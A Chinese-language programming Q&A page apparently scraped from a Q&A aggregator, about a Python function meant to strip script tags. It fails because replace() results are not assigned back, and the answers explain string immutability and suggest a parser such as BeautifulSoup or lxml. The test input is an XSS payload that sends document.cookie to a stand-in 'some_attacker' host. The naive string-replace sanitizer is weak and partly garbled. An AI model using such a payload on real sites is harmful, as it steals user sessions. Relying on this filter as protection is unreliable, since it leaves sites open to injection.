我试图替换字符串中的一些关键字.这是我的功能:
def clean_code(input):
input.replace('<script>', " ")
input.replace('</script>', " ")
input.replace('<a href>', " ")
input.replace('</a>', " ")
input.replace('>', ">")
input.replace('>', "<")
return input
Run Code Online (Sandbox Code Playgroud)
这是我的其他代码和字符串:
string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"
print '\nstring1 cleaned of code'
print '------------------------'
print clean_code(string1)
Run Code Online (Sandbox Code Playgroud)
我的输出如下,我不确定为什么没有改变
string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>
Run Code Online (Sandbox Code Playgroud)
Python字符串是不可变的:
input = input.replace('<script>', " ")
input = ...
Run Code Online (Sandbox Code Playgroud)
返回字符串str的副本,其中所有出现的substring old都替换为new.
Python 中的字符串是不可变的。 input.replace('</a>', " ")不会改变input。您需要将结果分配回input。
但实际上你应该使用像BeautifulSoup lxml这样的解析器。